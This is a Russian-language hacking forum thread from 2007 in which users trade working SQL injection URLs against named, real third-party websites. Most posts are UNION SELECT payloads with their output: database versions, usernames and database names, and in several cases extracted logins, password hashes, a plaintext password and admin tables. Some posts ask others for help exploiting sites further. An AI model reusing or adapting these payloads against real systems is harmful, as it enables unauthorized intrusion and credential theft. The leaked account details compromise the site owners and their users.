SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    http://www.bankpersonal.dp.ua

    код:

    http://www.bankpersonal.dp.ua/news.php3?action=details&news_id=-15+union+select+1,2,concat(table_name,0x3a,column_name),4+from+information_schema.columns/*

    код:

    http://www.bankpersonal.dp.ua/news.php3?action=details&news_id=-15+union+select+1,2,concat_ws(0x3a,passw,login,name,id),4+from+job_catvip/* <--- это единственное интересное что я нашел,

    а вот в этой ---> http://www.bankpersonal.dp.ua/news.php3?action=details&news_id=-15+union+select+1,2,concat(0x3a,passw,login,name,id),4+from+bank_kiev.auth/* почему-то нет вывода :(



    первый раз вижу вывод в такой форме :D
    код:

    http://www.profnavigator.ru/tmpl2.php?PN=doct.php&dout=text&dsubj=22&dtype=4&nid=-1608+union+select+concat_ws(0x3a,version(),user(),database()),2/* кто нить встречал такое???
     
    #3221 sasTO, 2 Oct 2007
    Last edited: 2 Oct 2007
    1 person likes this.
  2. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Мну непонял чо сервак от него хочед! Вот вам на растерзание
    PHP+MSSQL
    http://www.super.md/?t=statall&id=0&time=3+OR+1=@@version--

    Ошибка выполнения SQL запроса: statsGeneral 0xce8add383ab3a840178eb487785dc2f6,0,3 OR 1=@@version--,NULL,1,4096
     
  3. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://www.ntu.org/main/page.php?PageID=-6+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7
    4.0.20-standard-log:ntu:[email protected]

    http://www.ntu.org/main/page.php?PageID=-6+union+select+1,concat_ws(0x3a,table_name,table_schema),3,4,5,6,7+from+information_schema.tables+limit+1,1/*
    не выводит, хотя, по идее, должно.. раскрутит мож кто?
     
    1 person likes this.
  4. m0use

    m0use Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    _http://www.nikita.ru/javagames/index.php?wrub=-422+union+select+1,AES_DECRYPT(AES_ENCRYPT(user(),0x71),0x71),3,4,5/*
     
    3 people like this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    www.softprom.com
    Code:
    http://www.softprom.com/products.phtml?subcategory_id=-71'+union+select+user(),2/*
    user:root@localhost.rm1.softprom.ua
     
    2 people like this.
  6. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    сам же вывел версию ветки..откуда здесь information_schema.tables
     
    1 person likes this.
  7. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    То есть ты просто заменил ключевые слова языка SQL на CHAR(...)? :)))) Жесть... Так нельзя делать! На то они и ключевые слова языка, они не могут быть заменены ничем, ни возвращаемым значением функции, ни значаением возвращаемым подзапросом и т.д. Он тебе лепит ошибку только потому, что у тебя ошибка в синтаксисе запроса. Если парсятся ключевые слова в параметре, то тут уже ты ничего не сделаешь. Получатся некие пасхальные яйца от la2.acrossworld.ru - вроде как инъекция есть, но реализовать её нельзя.
     
    1 person likes this.
  8. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.monitor.autosurf-invest.com/programs.php?m=details&id=-9'+union+select+1,2,3,4,concat(user(),0x3a,version(), 0x3a,database()),6,7,8/*
    [email protected]:4.0.26:evro
    Code:
    http://www.monitor.autosurf-invest.com/programs.php?m=details&id=-9'+union+select+1,2,3,4,5,concat(login,0x3a, mail),7,8+from+users/*
    Code:
    http://www.salecap.com/order.php?action=buy&id=-1+union+select+1,concat(user(),0x3a, version(),0x3a,database()),3,4,5,6,7,8/*
    sale34re_dblogin@localhost:4.0.27-standard-log:sal
    Code:
    http://www.denezhki.com/ShowArticle.php?id=-1+union+select+1,2,concat(user(),0x3a,ve rsion(),0x3a,database()),4/*
    [email protected]:4.1.21:rublikicom_den
    Code:
    http://www.duniacyber.com/advertises_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat(user(),0x3a,ve rsion(),0x3a,database()),14,1 5,16,17,18/*
    cyber_admin@localhost:4.0.27-standard:cyber_dccsql
     
    2 people like this.
  9. c001er*

    c001er* Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    20
    Likes Received:
    18
    Reputations:
    0
    HTML:
    http://www.rusaero.aero/news/?id=-16'+union+select+1,111,122,133,144,user(),166,177,18,1/*
     
    1 person likes this.
  10. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://cinememorial.com/Acteur_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user(),0x3a,version(),0x3a,database()),17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33/*
    cinememorial@localhost:4.1.19-log:cinememorial_db
    Code:
    http://www.effedieffe.com/interventizeta.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,concat(user(),0x3a,version(),0x3a,database()),11,12,13,14, 15,16,17,18,19/*&parametro=esteri
    [email protected]:4.1.22-standard-log:effedieffe_com_01
    Code:
    http://www.cre-es.com/monograficasdelegaciones/index.php?class=7&id=-1+union+select+1,concat(user(),0x 3a,version(),0x3a,database()),3,4,5,6,7/*
    hjdfbhersnbxnkdh@localhost:4.0.27-log:cre_datos
    Code:
    http://www.sergioabreu.com/adm/noticia.php?id=-1+union+select+1,2,concat(user(),0x3a,version(),0x3 a,database()),4, 5,6,7,8,9,10/*
    [email protected]:4.0.27-max-log:abreu
    Code:
    http://www.beaufortbooks.com/books.php?id=-1+union+select+1,2,aes_decrypt(aes_encrypt(version(),0x71),0x71),4,5, 6,7,8,9,10,11,12,13/*
    4.1.11-Debian_4sarge7-log
    Code:
    http://www.beaufortbooks.com/books.php?id=-1+union+select+1,username,password,4,5,6,7,8,9, 10,11,12,13+from+users+limit+0,1/*
    mash: acbdeec8026b26b4bc94303dceb45dfe итд
    Code:
    http://www.schoolbytes.com/summary.php?id=-1+union+select+1,2,concat(user(),0x3a,version(),0x 3a,database()),4,5,6,7,8,9,10,11,12/*
    schoolbytes@localhost:5.0.20-standard:schoolbytes
    Code:
    http://www.schoolbytes.com/summary.php?id=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+fro m+users+limit+0,1/*
    mike:test
     
    1 person likes this.
  11. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    http://pride.uoregon.edu/section.php?id=-999+union+select+1,2,3,4,version(),6/*
     
  12. sulaspaka

    sulaspaka New Member

    Joined:
    2 Oct 2007
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    помогите pаскрутит

    Code:
    http://24.delfi.lv/index.php?action=prod&aid=0&id='
     
  13. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Вот тебе перебор:

    http://24.delfi.lv/index.php?action=prod&aid=0&id=100)+and+1=1/*
    http://24.delfi.lv/index.php?action=prod&aid=0&id=100)+and+1=0/*

    А вот union:

    http://24.delfi.lv/index.php?action=prod&aid=0&id=100)+union+select+char(0x61,0x6e,0x74,0x69,0x63,0x68,0x61,0x74)/*

    (вывода нет, в файл не пробовал)
     
  14. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    net.ua

    http://politdigest.net.ua/details_news.php?page=370&id=-722+union+select+1,database(),3,concat(version(),0x3a,user()),5,6,7,8,9,10,11,12/*


    http://mignews.net.ua/akcent.php?id=-972+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13/*



    http://mp3.gipershop.net.ua/descript.php?kodmob=-78+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10/*



    http://h.ua/art.php?id=-49257'+union+select+1,2,concat_ws(0x3a,id_admin,login,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48+from+bannsyst.bannsyst_admins/*
     
  15. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    bakililar.az
    Code:
    http://www.bakililar.az/lenta/?id=-13033+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6+from+news+--+
    4.0.27-standard:bakilila_lenta@localhost:bakilila_lenta
    freemp3.org.ua
    Code:
    http://www.freemp3.org.ua/news.php?id=-83+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7+from+news+--+
    4.1.22-log:freemp3_slovo@goliaph:freemp3_slovo
    advpro.ru
    Code:
    http://www.advpro.ru/news/company/?year=2006'+union+select+1,concat_ws(char(58),version(),database(),user()),3,4+from+news+--+
    4.1.20:u5107:advpro.ru@localhost
     
    #3235 l-l00K, 5 Oct 2007
    Last edited: 5 Oct 2007
    1 person likes this.
  16. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://studyport.info/viewdetails.php?id=-2577+union+select+1,concat(username,0x3a,passwd,0x3a,email,0x3a,phone),3,4,5,6,7,8,9,10,11,12,13,14+from+user/*
     
    3 people like this.
  17. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    HTML:
    http://www.kino-ukraina.com.ua/news/?nid=-1'+union+select+1,2,3,database(),5,user()/*
     
    2 people like this.
  18. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    вапсайт самого популярного телеканала украины


    код:

    http://wap.inter.ua/ru/utf/serials/?id=-9533+union+select+1,CAST(concat(version(),0x3a,user())+AS+BINARY),3,CAST(database()+AS+BINARY),5/* четвертый мускул :(
     
    3 people like this.
  19. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    http://www.alturspro.ru/index.php?page=99999'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* не могу подобрать таблицы кто поможет просто для интереса какие там таблицы есть
     
  20. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    вот ток где тут админка, я не знаю...
     
    2 people like this.
Thread Status:
Not open for further replies.